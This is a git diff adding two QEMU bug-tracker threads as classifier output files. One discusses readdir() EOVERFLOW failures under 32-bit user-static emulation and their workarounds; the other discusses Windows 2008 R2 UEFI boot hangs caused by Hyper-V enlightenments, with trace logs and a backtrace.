+https://gitlab.com/qemu-project/qemu/-/commit/0f418a207696b37f05d + diff --git a/results/classifier/deepseek-1/output/hang./1805913 b/results/classifier/deepseek-1/output/hang./1805913 new file mode 100644 index 00000000..d167accd --- /dev/null +++ b/results/classifier/deepseek-1/output/hang./1805913 @@ -0,0 +1,142 @@ + +readdir() returns NULL (errno=EOVERFLOW) for 32-bit user-static qemu on 64-bit host + +This can be simply reproduced by compiling and running the attached C code (readdir-bug.c) under 32-bit user-static qemu, such as qemu-arm-static: + +# Setup docker for user-static binfmt +docker run --rm --privileged multiarch/qemu-user-static:register --reset +# Compile the code and run (readdir for / is fine, so create a new directory /test). +docker run -v /path/to/qemu-arm-static:/usr/bin/qemu-arm-static -v /path/to/readdir-bug.c:/tmp/readdir-bug.c -it --rm arm32v7/ubuntu:18.10 bash -c '{ apt update && apt install -y gcc; } >&/dev/null && mkdir -p /test && cd /test && gcc /tmp/readdir-bug.c && ./a.out' +dir=0xff5b4150 +readdir(dir)=(nil) +errno=75: Value too large for defined data type + +Do remember to replace the /path/to/qemu-arm-static and /path/to/readdir-bug.c to the actual paths of the files. + +The root cause is in glibc: https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/unix/sysv/linux/getdents.c;h=6d09a5be7057e2792be9150d3a2c7b293cf6fc34;hb=a5275ba5378c9256d18e582572b4315e8edfcbfb#l87 + +By C standard, the return type of readdir() is DIR*, in which the inode number and offset are 32-bit integers, therefore, glibc calls getdents64() and check if the inode number and offset fits the 32-bit range, and reports EOVERFLOW if not. + +The problem here is for 32-bit user-static qemu running on 64-bit host, getdents64 simply passing through the inode number and offset from underlying getdents64 syscall (from 64-bit kernel), which is very likely to not fit into 32-bit range. On real hardware, the 32-bit kernel creates 32-bit inode numbers, therefore works properly. + +The glibc code makes sense to do the check to be conformant with C standard, therefore ideally it should be a fix on qemu side. I admit this is difficult because qemu has to maintain a mapping between underlying 64-bit inode numbers and 32-bit inode numbers, which would severely hurt the performance. I don't expect this could be fix anytime soon (or even there would be a fix), but it would be worthwhile to surface this issue. + + + +More notes: this bug hits glibc-2.28 and later. It works on glibc-2.27. Therefore to reproduce it it needs ubuntu 18.10 or later. Seems like it works for 18.04. + +This bug affects all Java programs that (implicitly) uses File.list() or File.listFiles(). Also it makes dash not expanding wildcard /some/directory/* . However, bash works because it uses glob() instead of readdir(). + + +The bug also affects shared-mime-info. update-mime-database uses readdir and ends up generating an empty database without reporting any errors, causing pixbuf and anything else that relies on the mime database not to work properly. + +Same things happens with update-ca-certificates. It calls c_rehash through openssl, which ends up doing nothing. As a result, curl with https and probably anything else that uses SSL fails to work. + +This probably makes the issue fairly critical for tools that create 32bit environments through qemu-debootstrap or build packages in said environment. + +I was also hit by this on Gentoo with a 64bit host running 32bit static chroot (arm). If it matters at all, I saw it after upgrading the 32bit arm chroot to glibc-2.28, while the host was still on 2.27. + +Downgrading again hides the issue. Upgrading the host to glibc 2.28, but keeping the chroot at 2.27 seems to not hit it either. + +https://lkml.org/lkml/2018/12/27/155 + +After studying linux-user/syscall.c a bit, would it be possible to work around this issue by doing something like the following: + +Add a new #define EMULATE_GETDENTS64_WITH_GETDENTS, and enable this iff we have getdents, and the target is 32, while the host is 64 bits. Something similar, but complementary is done with EMULATE_GETDENTS_WITH_GETDENTS64. + +In that case, when userspace calls getdents64, we implement a "conversion" (similar to getdents #if logic), which calls the host's getdents and converts the data structures back to their 64-bit variants before handing back to user-space. + +I'm likely over-simplifying a problem that I don't fully understand, but would happily work on a patch if someone higher up the food chain could fill in the gaps. + +Unfortunately there is no kernel API which we can use on the host to say "give me inodes and offsets which will fit into a 32 bit field". The 'getdents' syscall uses the "unsigned long" type for the d_ino and d_off fields, so on a 64-bit host these will be the same size as the ino64_t and off64_t used by 'getdents64', and you will still have the "trying to fit a quart into a pint pot" problem. + +The only way to fix this is to fix the host kernel to provide the API QEMU needs for this (see discussion in the kernel thread linked to in comment #5). + + +Is there a workaround for this? I tried: + +- Building on an XFS partition. +- Building from ubuntu:16.04 so the host has glib <2.27. + +It looks like the only way is to have the chroot with glib <2.27, and in alpine images glib is at minimum 2.56. + +If the bug is fixed in glib maybe I can install glib from master? I'm trying to build multi-arch docker images and this bug is what prevents me from providing arm/v7 images for the raspberry pi. + +Sorry, meant `< 2.28` above. + +There has been some motion on this by Aladjev Andrew. I will butcher the explanation of his approach if I try, but it is described in the following bugs. I have no idea of the schedule, or even possibility of adoption; it seems to still be in proof-of-concept phase. + +GLIBC bug (see last several posts) +https://sourceware.org/bugzilla/show_bug.cgi?id=23960 + +Kernel bugzilla (last two posts) +https://bugzilla.kernel.org/show_bug.cgi?id=205957 + +Ah, great thanks. It looks like there are patches that fix qemu, although the setup looks a bit complex. I'll report if I get something going. + +This problem affected my virtual environment which I used (via qemu-static) to build my project for RaspberryPI platform. After I upgraded my virtual Raspbian to buster release `readdir` stopped working (as described in this thread) due to mapping of 64 inode numbers to qemu 32bit ARM land. I needed this builder working and I found a workaround in some obscure (2nd page of google result) blog. + +Before the work around my virtual Raspbian was just a directory on one of my ext4 partitions. To fix the issue I created image file with dd, formatted with mkfs.ext4 it with `dir_index` option disabled and moved my virual Raspbian onto that newly created filesystem. This fixed the issue for me and my builder started again. + +I am posting it here so `dir_index` trick can be easier to found for others in this situation. + + +Thanks Marcin. I tested your solution but by me it still gets stuck at the same point. Here's what I did: + +$ tune2fs -O ^dir_index /dev/sda1 +$ tune2fs -l /dev/sda1 +tune2fs 1.44.2 (14-May-2018) +Filesystem volume name: <none> +Last mounted on: / +Filesystem UUID: c8fee0cb-a610-4fa5-aab8-c5c765678133 +Filesystem magic number: 0xEF53 +Filesystem revision #: 1 (dynamic) +Filesystem features: has_journal ext_attr resize_inode filetype needs_recovery extent 64bit flex_bg sparse_super large_file huge_file dir_nlink extra_isize metadata_csum +Filesystem flags: signed_directory_hash +Default mount options: user_xattr acl +Filesystem state: clean +(snip) + +But then my build still get stuck on: + +clock_gettime(CLOCK_REALTIME, {tv_sec=1580996038, tv_nsec=781126598}) = 0 +getdents64(5, /* 0 entries */, 2048) = 0 +lseek(5, 0, SEEK_SET) = 0 +getdents64(5, /* 5 entries */, 2048) = 144 +tgkill(29974, 29977, SIGRT_2) = -1 EAGAIN (Resource temporarily unavailable) +clock_gettime(CLOCK_REALTIME, {tv_sec=1580996038, tv_nsec=781461434}) = 0 +getdents64(5, /* 0 entries */, 2048) = 0 +lseek(5, 0, SEEK_SET) = 0 +getdents64(5, /* 5 entries */, 2048) = 144 +tgkill(29974, 29977, SIGRT_2) = -1 EAGAIN (Resource temporarily unavailable + + + +I seem to have found another workaround. Knowing now what causes this my guess was: If I make the qemu-arm-static on the host a 32 bit binary and get "multilib" running to make my 64 bit Linux installation run this, then in theory this incompatibility should not happen. If it would, then 32 bit x86 applications whould run into the same problem. + +And at least according to my tries, I did so far, this seems to be the case. I was able to reproduce this with svn (no checkout possible from 32 bit armv7h). If the qemu-arm-static binary is a 32 bit x86 application, then SVN checkouts work well now. + +So until there is a better solution it seems to be a good idea to make the emulation layer run through multilib for 32 bit target architectures, so the host kernel can switch to its 32 bit backwards compatibility mode. + +Yes, using a 32-bit host QEMU process will also work. You might run into a few guest programs that don't work with that -- a 64-bit QEMU process allows us to give the guest the full address space it might need, while a 32-bit QEMU process means that QEMU itself must share with the guest, so if the guest uses a lot of virtual memory or is picky about where it maps things then it might fail to mmap() things where it wants them. But it's probably overall the least-bad workaround at the current time. + + +After reading through the discussion on the mailing list, as it's all about ext4, I got curious... +I'm testing with qemu-user-static and regulary build arm images in a tmpfs. This show similar behaviour and readdir() fails. However, running in the same root copied onto a btrfs, it seems fine. +Maybe this is an even less bad workaround for some folks? + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +This is still a bug, and still blocked on the kernel providing APIs to QEMU to request 32-bit directory entries. Linus Walleij proposed a kernel patch to add a suitable fcntl flag but as far as I'm aware it didn't get in so far: + https://<email address hidden>/ + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/263 + + diff --git a/results/classifier/deepseek-1/output/harmful./1593605 b/results/classifier/deepseek-1/output/harmful./1593605 new file mode 100644 index 00000000..648651a9 --- /dev/null +++ b/results/classifier/deepseek-1/output/harmful./1593605 @@ -0,0 +1,248 @@ + +windows2008r2 boot failed with uefi + +I want to run my win2008r2 with uefi. Hypervisor is ubuntu16.04 and my qemu command line show below: + +qemu-system-x86_64 -enable-kvm -name win2008r2 -S -machine pc-i440fx-2.5,accel=kvm,usb=off -cpu host,hv_time,hv_relaxed,hv_spinlocks=0x2000 -drive file=/usr/share/qemu/OVMF.fd,if=pflash,format=raw,unit=0,readonly=on -drive file=/var/lib/libvirt/qemu/nvram/win2008r2_VARS.fd,if=pflash,format=raw,unit=1 -m size=8388608k,slots=10,maxmem=1073741824k -realtime mlock=off -smp 8,maxcpus=96,sockets=24,cores=4,threads=1 -numa node,nodeid=0,cpus=0-7,mem=8192 -uuid 030638c5-c6aa-4f06-82f8-dd2d04fd5705 -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/domain-win2008r2/monitor.sock,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=localtime,clock=vm,driftfix=slew -no-hpet -no-shutdown -boot strict=on -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0x1.0x2 -device usb-ehci,id=usb1,bus=pci.0,addr=0x4 -device nec-usb-xhci,id=usb2,bus=pci.0,addr=0x5 -device lsi,id=scsi0,bus=pci.0,addr=0x6 -device virtio-scsi-pci,id=scsi1,bus=pci.0,addr=0x7 -device virtio-serial-pci,id=virtio-serial0,bus=pci.0,addr=0x8 -drive file=/vms/images/win2008r2,format=qcow2,if=none,id=drive-ide0-0-0,cache=directsync -device ide-hd,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0,bootindex=1 -drive file=/vms/isos/cn_windows_server_2008_r2_standard_enterprise_datacenter_and_web_with_sp1_x64_dvd_617598.iso,format=raw,if=none,id=drive-ide0-1-1,readonly=on -device ide-cd,bus=ide.1,unit=1,drive=drive-ide0-1-1,id=ide0-1-1,bootindex=2 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -chardev socket,id=charchannel0,path=/var/lib/libvirt/qemu/win2008r2.agent,server,nowait -device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=org.qemu.guest_agent.0 -device usb-tablet,id=input0 -vnc 0.0.0.0:0 -device VGA,id=video0,vgamem_mb=16,bus=pci.0,addr=0x2 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0xa -msg timestamp=on + + +OVMF.fd is download from http://sourceforge.net/projects/edk2/files/OVMF/ OVMF-X64-r15214.zip. + +When I boot my domain with windows2008 iso, the kvm was caught in endless interrupt. I enable trace on my host and I got this. + + + +1. echo 1 > /sys/kernel/debug/tracing/events/kvm/enable +2. cat /sys/kernel/debug/tracing/trace_pipe +qemu-system-x86-1969 [006] .... 2093.019588: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xfffff8001080ae8e info 0 800000fd + qemu-system-x86-1969 [006] d... 2093.019590: kvm_entry: vcpu 0 + qemu-system-x86-1966 [017] .... 2093.021424: kvm_set_irq: gsi 8 level 1 source 0 + qemu-system-x86-1966 [017] .... 2093.021429: kvm_pic_set_irq: chip 1 pin 0 (edge|masked) + qemu-system-x86-1966 [017] .... 2093.021430: kvm_ioapic_set_irq: pin 8 dst 1 vec=209 (Fixed|logical|edge) (coalesced) + qemu-system-x86-1969 [006] .... 2093.021683: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xfffff8001080ae78 info 0 800000fd + qemu-system-x86-1969 [006] d... 2093.021686: kvm_entry: vcpu 0 + qemu-system-x86-1969 [006] .... 2093.022592: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xfffff8001080ae8e info 0 800000ef + qemu-system-x86-1969 [006] d... 2093.022595: kvm_entry: vcpu 0 + qemu-system-x86-1969 [006] .... 2093.022746: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xfffff8001080ae8e info 0 800000fd + qemu-system-x86-1969 [006] d... 2093.022749: kvm_entry: vcpu 0 + qemu-system-x86-1966 [017] .... 2093.023434: kvm_set_irq: gsi 8 level 1 source 0 + qemu-system-x86-1966 [017] .... 2093.023444: kvm_pic_set_irq: chip 1 pin 0 (edge|masked) + qemu-system-x86-1966 [017] .... 2093.023446: kvm_ioapic_set_irq: pin 8 dst 1 vec=209 (Fixed|logical|edge) (coalesced) + qemu-system-x86-1969 [006] .... 2093.023610: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xfffff8001080ae78 info 0 800000fd + qemu-system-x86-1969 [006] d... 2093.023612: kvm_entry: vcpu 0 + qemu-system-x86-1966 [017] .... 2093.025430: kvm_set_irq: gsi 8 level 1 source 0 + qemu-system-x86-1966 [017] .... 2093.025435: kvm_pic_set_irq: chip 1 pin 0 (edge|masked) + qemu-system-x86-1966 [017] .... 2093.025436: kvm_ioapic_set_irq: pin 8 dst 1 vec=209 (Fixed|logical|edge) (coalesced) + qemu-system-x86-1969 [006] .... 2093.025599: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xfffff8001080ae78 info 0 800000fd + qemu-system-x86-1969 [006] d... 2093.025601: kvm_entry: vcpu 0 + qemu-system-x86-1969 [006] .N.. 2093.026593: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xfffff8001080ae78 info 0 800000ef + qemu-system-x86-1969 [006] d... 2093.026596: kvm_fpu: unload + qemu-system-x86-1969 [006] .... 2093.026598: kvm_ple_window: vcpu 0: ple_window 4096 (shrink 4096) + qemu-system-x86-1969 [006] .... 2093.026599: kvm_fpu: load + qemu-system-x86-1969 [006] d... 2093.026599: kvm_entry: vcpu 0 + qemu-system-x86-1969 [006] .... 2093.026741: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xfffff8001080ae78 info 0 800000fd + qemu-system-x86-1969 [006] d... 2093.026744: kvm_entry: vcpu 0 + qemu-system-x86-1969 [006] .... 2093.026841: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xfffff8001080ae8e info 0 800000fd + qemu-system-x86-1969 [006] d... 2093.026844: kvm_entry: vcpu 0 + qemu-system-x86-1966 [017] .... 2093.027448: kvm_set_irq: gsi 8 level 1 source 0 + qemu-system-x86-1966 [017] .... 2093.027454: kvm_pic_set_irq: chip 1 pin 0 (edge|masked) + qemu-system-x86-1966 [017] .... 2093.027455: kvm_ioapic_set_irq: pin 8 dst 1 vec=209 (Fixed|logical|edge) (coalesced) + qemu-system-x86-1966 [017] .... 2093.029444: kvm_set_irq: gsi 8 level 1 source 0 + qemu-system-x86-1966 [017] .... 2093.029449: kvm_pic_set_irq: chip 1 pin 0 (edge|masked) + qemu-system-x86-1966 [017] .... 2093.029450: kvm_ioapic_set_irq: pin 8 dst 1 vec=209 (Fixed|logical|edge) (coalesced) + qemu-system-x86-1969 [006] .... 2093.029452: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xfffff8001080ae78 info 0 800000ef + qemu-system-x86-1969 [006] d... 2093.029454: kvm_entry: vcpu 0 + qemu-system-x86-1969 [006] .... 2093.029633: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xfffff8001080ae8e info 0 800000fd + qemu-system-x86-1969 [006] d... 2093.029636: kvm_entry: vcpu 0 + qemu-system-x86-1969 [006] .... 2093.030592: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xfffff8001080ae8e info 0 800000ef + qemu-system-x86-1969 [006] d... 2093.030595: kvm_entry: vcpu 0 + qemu-system-x86-1969 [006] .... 2093.030745: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xfffff8001080ae8e info 0 800000fd + qemu-system-x86-1969 [006] d... 2093.030748: kvm_entry: vcpu 0 + qemu-system-x86-1969 [006] .... 2093.030840: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xfffff8001080ae8e info 0 800000fd + qemu-system-x86-1969 [006] d... 2093.030843: kvm_entry: vcpu 0 + qemu-system-x86-1966 [017] .... 2093.031454: kvm_set_irq: gsi 8 level 1 source 0 + qemu-system-x86-1966 [017] .... 2093.031459: kvm_pic_set_irq: chip 1 pin 0 (edge|masked) + qemu-system-x86-1966 [017] .... 2093.031460: kvm_ioapic_set_irq: pin 8 dst 1 vec=209 (Fixed|logical|edge) (coalesced) + qemu-system-x86-1966 [017] .... 2093.032968: kvm_set_irq: gsi 8 level 1 source 0 + qemu-system-x86-1966 [017] .... 2093.032974: kvm_pic_set_irq: chip 1 pin 0 (edge|masked) + qemu-system-x86-1966 [017] .... 2093.032975: kvm_ioapic_set_irq: pin 8 dst 1 vec=209 (Fixed|logical|edge) (coalesced) + qemu-system-x86-1969 [006] .... 2093.033229: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xfffff8001080ae78 info 0 800000fd + qemu-system-x86-1969 [006] d... 2093.033231: kvm_entry: vcpu 0 + qemu-system-x86-1969 [006] .... 2093.034592: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xfffff8001080ae78 info 0 800000ef + qemu-system-x86-1969 [006] d... 2093.034595: kvm_entry: vcpu 0 + qemu-system-x86-1969 [006] .... 2093.034781: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xfffff8001080ae78 info 0 800000fd + qemu-system-x86-1969 [006] d... 2093.034783: kvm_entry: vcpu 0 + qemu-system-x86-1966 [017] .... 2093.034975: kvm_set_irq: gsi 8 level 1 source 0 + qemu-system-x86-1966 [017] .... 2093.034980: kvm_pic_set_irq: chip 1 pin 0 (edge|masked) + qemu-system-x86-1966 [017] .... 2093.034981: kvm_ioapic_set_irq: pin 8 dst 1 vec=209 (Fixed|logical|edge) (coalesced) + qemu-system-x86-1969 [006] .... 2093.035113: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xfffff8001080ae8e info 0 800000fd + qemu-system-x86-1969 [006] d... 2093.035116: kvm_entry: vcpu 0 + qemu-system-x86-1966 [017] .... 2093.036983: kvm_set_irq: gsi 8 level 1 source 0 + qemu-system-x86-1966 [017] .... 2093.036989: kvm_pic_set_irq: chip 1 pin 0 (edge|masked) + qemu-system-x86-1966 [017] .... 2093.036990: kvm_ioapic_set_irq: pin 8 dst 1 vec=209 (Fixed|logical|edge) (coalesced) + qemu-system-x86-1969 [006] .... 2093.037154: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xfffff8001080ae78 info 0 800000fd + qemu-system-x86-1969 [006] d... 2093.037157: kvm_entry: vcpu 0 + + + +The OVMF build you use (SVN r15214) is from Feb 2014 -- it is completely obsolete. I suggest you use the packages from https://www.kraxel.org/repos/ . + +I'm marking this as "invalid" because supporting 2+ year old OVMF builds is unthinkable. + +Thanks for your advice. I got newer version of OVMF from https://www.kraxel.org/repos/. And compile from source code(git://github.com/tianocore/edk2.git). +With these OVMF, it really works well on only 1 vcpu domain. But still failed with multi-vcpus. +The vcpu0 runnig in an endless loop, and other vcpus is halted. The stack of vcpu0 show below: +#0 0x00005571f4b10959 in address_space_update_topology_pass (as=0x5571f6b76de8, old_view=0x7f6884020690, new_view=0x7f6884022ab0, adding=true) + at /vms/V1R3B01D001_newFeature/daemon/qemu/qemu-2.1.2/memory.c:753 +#1 0x00005571f4b10a18 in address_space_update_topology (as=0x5571f6b76de8) at /vms/V1R3B01D001_newFeature/daemon/qemu/qemu-2.1.2/memory.c:768 +#2 0x00005571f4b10bba in memory_region_transaction_commit () at /vms/V1R3B01D001_newFeature/daemon/qemu/qemu-2.1.2/memory.c:809 +#3 0x00005571f4b13d8b in memory_region_update_container_subregions (subregion=0x5571f6cc5140) + at /vms/V1R3B01D001_newFeature/daemon/qemu/qemu-2.1.2/memory.c:1658 +#4 0x00005571f4b13e14 in memory_region_add_subregion_common (mr=0x5571f6a22530, offset=655360, subregion=0x5571f6cc5140) + at /vms/V1R3B01D001_newFeature/daemon/qemu/qemu-2.1.2/memory.c:1668 +#5 0x00005571f4b13ee8 in memory_region_add_subregion_overlap (mr=0x5571f6a22530, offset=655360, subregion=0x5571f6cc5140, priority=2) + at /vms/V1R3B01D001_newFeature/daemon/qemu/qemu-2.1.2/memory.c:1687 +#6 0x00005571f4b2c27a in vga_update_memory_access (s=0x5571f6cc4f38) at /vms/V1R3B01D001_newFeature/daemon/qemu/qemu-2.1.2/hw/display/vga.c:210 +#7 0x00005571f4b2cddb in vga_ioport_write (opaque=0x5571f6cc4f38, addr=975, val=8) + at /vms/V1R3B01D001_newFeature/daemon/qemu/qemu-2.1.2/hw/display/vga.c:538 +#8 0x00005571f4cf7072 in qxl_vga_ioport_write (opaque=0x5571f6cc4f38, addr=975, val=8) at hw/display/qxl.c:1197 +#9 0x00005571f4b03316 in portio_write (opaque=0x5571f6c72890, addr=14, data=2056, size=2) + at /vms/V1R3B01D001_newFeature/daemon/qemu/qemu-2.1.2/ioport.c:201 +#10 0x00005571f4b0ea9c in memory_region_write_accessor (mr=0x5571f6c72890, addr=14, value=0x7f688b73ab28, size=2, shift=0, mask=65535) + at /vms/V1R3B01D001_newFeature/daemon/qemu/qemu-2.1.2/memory.c:444 +#11 0x00005571f4b0ebe4 in access_with_adjusted_size (addr=14, value=0x7f688b73ab28, size=2, access_size_min=1, access_size_max=4, + access=0x5571f4b0ea00 <memory_region_write_accessor>, mr=0x5571f6c72890) at /vms/V1R3B01D001_newFeature/daemon/qemu/qemu-2.1.2/memory.c:481 +#12 0x00005571f4b11b28 in memory_region_dispatch_write (mr=0x5571f6c72890, addr=14, data=2056, size=2) + at /vms/V1R3B01D001_newFeature/daemon/qemu/qemu-2.1.2/memory.c:1138 +#13 0x00005571f4b152ce in io_mem_write (mr=0x5571f6c72890, addr=14, val=2056, size=2) at /vms/V1R3B01D001_newFeature/daemon/qemu/qemu-2.1.2/memory.c:1971 +#14 0x00005571f4abd56b in address_space_rw (as=0x5571f5333b80, addr=974, buf=0x7f689a390000 "\b", <incomplete sequence \307>, len=2, is_write=true) + at /vms/V1R3B01D001_newFeature/daemon/qemu/qemu-2.1.2/exec.c:2123 +#15 0x00005571f4b0b028 in kvm_handle_io (port=974, data=0x7f689a390000, direction=1, size=2, count=1) + at /vms/V1R3B01D001_newFeature/daemon/qemu/qemu-2.1.2/kvm-all.c:1616 +#16 0x00005571f4b0b5d1 in kvm_cpu_exec (cpu=0x5571f6a5d5e0) at /vms/V1R3B01D001_newFeature/daemon/qemu/qemu-2.1.2/kvm-all.c:1758 +#17 0x00005571f4af0bf0 in qemu_kvm_cpu_thread_fn (arg=0x5571f6a5d5e0) at /vms/V1R3B01D001_newFeature/daemon/qemu/qemu-2.1.2/cpus.c:898 +#18 0x00007f6899c18e9a in start_thread () from /lib/x86_64-linux-gnu/libpthread.so.0 +#19 0x00007f68963f938d in clone () from /lib/x86_64-linux-gnu/libc.so.6 +#20 0x0000000000000000 in ?? () + + +When I change qemu version from 2.1.2 to 2.6.0. The vcpu0 will return 0 qemu. +I got strace like this: +strace -p 1180 +Process 1180 attached - interrupt to quit +rt_sigtimedwait([BUS USR1], 0x7f719b5fa960, {0, 0}, 8) = -1 EAGAIN (Resource temporarily unavailable) +rt_sigpending([]) = 0 +futex(0x55669f356d60, FUTEX_WAKE_PRIVATE, 1) = 1 +ioctl(26, KVM_RUN + +The kvm tracing like this: + kvm-1180 [018] d... 63148.545821: kvm_entry: vcpu 0 + kvm-1180 [018] d... 63148.545944: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xbf68f16f info 0 800000fd + kvm-1180 [018] d... 63148.545948: kvm_entry: vcpu 0 + kvm-1180 [018] d... 63148.546083: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xbf68f16f info 0 800000fd + kvm-1180 [018] d... 63148.546085: kvm_entry: vcpu 0 + kvm-1180 [018] d... 63148.546200: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xbf68f16f info 0 800000fd + kvm-1180 [018] d... 63148.546202: kvm_entry: vcpu 0 + kvm-1180 [018] d... 63148.546317: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xbf68f16f info 0 800000fd + kvm-1180 [018] d... 63148.546320: kvm_entry: vcpu 0 + kvm-1180 [018] d... 63148.546436: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xbf68f16f info 0 800000fd + kvm-1180 [018] d... 63148.546439: kvm_entry: vcpu 0 + kvm-1180 [018] d... 63148.546553: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xbf68f16f info 0 800000fd + kvm-1180 [018] d... 63148.546556: kvm_entry: vcpu 0 + kvm-1180 [018] d... 63148.546689: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xbf68f16f info 0 800000fd + kvm-1180 [018] d... 63148.546691: kvm_entry: vcpu 0 + kvm-1180 [018] d... 63148.546807: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xbf68f16f info 0 800000fd + kvm-1180 [018] d... 63148.546810: kvm_entry: vcpu 0 + kvm-1180 [018] d... 63148.546927: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xbf68f16f info 0 800000fd + kvm-1180 [018] d... 63148.546930: kvm_entry: vcpu 0 + kvm-1180 [018] d... 63148.547067: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xbf68f16f info 0 800000fd + kvm-1180 [018] d... 63148.547070: kvm_entry: vcpu 0 + kvm-1180 [018] d... 63148.547186: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xbf68f16f info 0 800000fd + kvm-1180 [018] d... 63148.547189: kvm_entry: vcpu 0 + kvm-1180 [018] d... 63148.547304: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xbf68f16f info 0 800000fd + kvm-1180 [018] d... 63148.547307: kvm_entry: vcpu 0 + kvm-1180 [018] d... 63148.547384: kvm_exit: reason EXTERNAL_INTERRUPT rip 0xbf68f16f info 0 800000ef + kvm-1180 [018] d... 63148.547391: kvm_entry: vcpu 0 + + +Win2k8 EFI has a bug under HyperV. This will never work without a specific hack in UEFI. I can dig in my archives to find a patch if you are really interested in. AFAIR some memory in video driver has to be marked not as boot services but differently and will stay permanently. + +Hi Denis, thank you very much. I do really be interested in it. If the patch can be found, it readlly help me. + +And I still have another question. I notice that Win2k8 cound runnig with UEFI normally on Xen and VMare. Is there any diffrence between them abount handling with video, especially on Xen enviroment？ + +Thank you very much! + +you CAN run, but you have to disable HyperV enlightments. This means that these options "hv_time,hv_relaxed,hv_spinlocks=0x2000" must NOT be set. + +I have not found exact patch, sorry. But something like the following should be done even to start thinking on running win2k8 with EFI if HyperV is enabled. Look into OvmfPkg/QemuVideoDxe/ and replace allocations of EfiBootServicesData/EfiBootServicesCode with EfiACPIMemoryNVS. + +For our case we have found that "The problem is triggered by the Windows memory manager unmapping the page #0 while Windows HAL keeps thinking it's still available and accesses it. + +The unmapping happens because the page #0 is marked by OVMF as EfiBootServicesCode. + +Reportedly the access of the page #0 by HAL only happens when the VM announces +the support for Hyper-V enlightenments; otherwise no crashes are observed." + +Thank you very much. After disabling all HyperV feature, Win2k8 can runnig with multi-vcpus in my enviroment. + +Referring to your advice, I will try to runnig Win2k8 with HyperV feature. Thank you very much. + + + +Denis, thanks a lot for the reminder and the analysis here. I knew about this issue at one point -- see https://bugzilla.redhat.com/show_bug.cgi?id=1185253 -- but by now I've completely forgotten that HyperV enlightenments and UEFI SMP Win7 don't mix. + +Also, for your analysis in comment #7 -- thanks for that too; I've never dug into it this deep. In the RHBZ I referenced above, there's a link to MSDN -- https://technet.microsoft.com/en-us/library/dn282285.aspx -- which indicates that the UEFI Win7 family was never meant to be run as HyperV guests. Those docs were enough explanation to me. + +I don't think hacking on OVMF's VBE shim would be smart at this point -- the VBE shim is already an ugly hack to trick Win7 into working. I think the best course of action here is to disable HyperV enlightenments for Win7 UEFI guests. That's what virt-manager does as well: + +https://github.com/virt-manager/virt-manager/commit/cbba1c4dd381 + +Given that this is not a QEMU issue, I'm closing the report (again). + +Actually I can provide you with the patch which makes win2k8 + UEFI working if you willing to accept it for mainstream QEMU. It was quite simple. We have prepared it but not sent. Parallels Server 6/Parallels Desktop have this hack around 3-5 years. + +I have missed you comment. Closing again. + +sorry, I meant not QEMU but UEFI above. + +... In addition to what I said above in comment #9 (which stands), the technical problem with turning the memory allocation in question into AcpiNVS type is that it would prevent *all* OSes from reusing the area. + +It would prevent the Windows 7 memory manager from deallocating page #0 (thereby saving Windows 7 HAL's buttocks), correct, but the page would also be lost for other, actually UEFI-abiding, OSes as well. That's a way too high price to pay for bug-compatibility with Windows 7. + +This is actually documented in the commit message of https://github.com/tianocore/edk2/commit/90803342b1b6 . An excerpt: + + The Int10h real-mode IVT entry is covered with a Boot Services Code page, + making that too unaccessible to the rest of edk2. (Thus UEFI guest OSes + different from the Windows 2008 family can reclaim the page. The Windows + 2008 family accesses the page at zero regardless of the allocation type.) + +This was in fact a difference between v1 and v2 of the patch. V1 used EfiReservedMemoryType, but v2 changed that, so that no other OSes would be punished. See esp. the Notes section of v2: + +http://thread.gmane.org/gmane.comp.bios.tianocore.devel/7047 +http://thread.gmane.org/gmane.comp.bios.tianocore.devel/7127 + + +I had the same problem and it took me some time to get to this bug report. + +Since this behaviour will not change in future versions of Qemu/OVMF, maybe Qemu should recognize this configuration as invalid and print error message instead of failing silently? + +@alex3kov -- I think you mean the question as + +""" +Since this behaviour will not change in future versions of Windows 7 / Windows Server 2008 R2, ... +""" + +because, again, the problem is not in OVMF but in the Windows 